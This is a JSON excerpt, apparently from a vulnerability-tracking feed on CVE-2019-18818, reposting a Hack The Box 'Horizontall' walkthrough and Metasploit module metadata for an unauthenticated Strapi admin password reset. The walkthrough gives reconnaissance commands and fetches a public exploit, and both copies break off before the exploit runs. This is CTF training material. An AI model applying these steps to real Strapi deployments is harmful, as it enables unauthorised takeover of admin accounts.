10.129.149.92https://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince, there was a website running on port 80, we added the address in our hosts file for resolution.wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92This returned back an interesting subdomain called api-prodecho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hostshttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 It seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.whatweb http://api-prod.horizontall.htb/admin/https://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 We observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4https://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit result showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password witho[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:29.259341Z"}, {"uuid": "b6936c59-43de-4f49-b364-2b67527b1ef9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42979", "content": "Hacking Articles\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunnelling an internal application (Laravel) to a local machine and running a PoC exploit on Laravel v 7.4.18 Table of ContentNetwork Scanning\n\n* nmap\n\nEnumeration\n\n* Subdomain enumeration using wfuzz\n* Strapi password reset exploit\n\nExploitation\n\n* Exploiting strapi CVE-2019-18818 to gain a reverse shell\n* Initial information gathering\n* Setting up my SSH key in the victim\u2019s authorized_keys file\n\nPrivilege Escalation\n\n* Tunnelling internal website to our system\n* Exploiting Laravel CVE-2021-3129 to snag root flag\n\nLet\u2019s begin Network ScanningFirst, we will run a nmap scan on the victim machine\nnmap -sV -sC -Pn 10.129.149.92 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince there was a website running on port 80, we added the address in our hosts file for resolution.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgwHC_tGTATWngd_dgXA-pUAoRGFprzxSxuAmRfl_NxWvjAqHwtYx98isQx33lw-Pk3q6v8Q7-tpRnFasx6qntPzKTpdYuzdY4-pQF7tIAZpkL8x-t8Z239lAQyjcHT_-2zJgTHYX_kL6XcNFtfXaxRLFWKj6I9AuIlnEzixwhDTRno1k8wZeSO6WhMBg=s16000 \n\nWe tried to look for exploitable vectors on the website itself but couldn\u2019t find any which indicated that we need to enumerate directories.\n\nEven directories enum didn\u2019t yield any results so we tried to enumerate subdomains.\nwfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92 \nThis returned back an interesting subdomain called api-prod\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjljDsUWotESFbHKm6-bWJCD12yfeQWqhWLTbpm0kPZQdpJ_xowE71mD7kN7mhG9QEk3gdWMGoZRbZfJjpYfqxp_vNI3aq0ebVNgqi3s6XhGsUoj71ravIYXcuS2rRR0ZtkjlpmPXDDmlHo1JwHJh0blgFHO9x6BrzxHqxcCOoaKBskwYg7JRUzgNIzNw=s16000 \n\nWe add this subdomain in hosts file and try to open the website.\necho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hosts \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 \n\nIt seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.\nwhatweb http://api-prod.horizontall.htb/admin/ \nhttps://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 \n\nWe observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit results showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password without needing authentication tokens. You can read more about the vulnerability here. We downloaded the exploit using searchsploit.\nsearchsploit -m 50239 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEi5MFzlFitOzFqNd_7o471GSyoxDAOHL7QYU6SX4cAgVjYKlGVn[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:29.414974Z"}, {"uuid": "f88a11de-f374-4293-b292-4a0a23cfb54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/strapi_3_password_reset.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"WackyH4cker\", \"h00die\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"This module abuses the mishandling of a password reset request for\\n          Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user.\\n\\n          Successfully tested against Strapi CMS version 3.0.0-beta.17.4.\", \"disclosure_date\": \"2022-02-09\", \"fullname\": \"auxiliary/scanner/http/strapi_3_password_reset\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:52:36 +0000\", \"name\": \"Strapi CMS Unauthenticated Password Reset\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/scanner/http/strapi_3_password_reset.rb\", \"platform\": \"\", \"post_auth\": true, \"rank\": 300, \"ref_name\": \"scanner/http/strapi_3_password_reset\", \"references\": [\"URL-https://vulners.com/cve/CVE-2019-18818\", \"URL-https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.4\", \"URL-https://github.com/strapi/strapi/pull/4443\", \"CVE-2019-18818\", \"EDB-50716\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:52.246026Z"}]}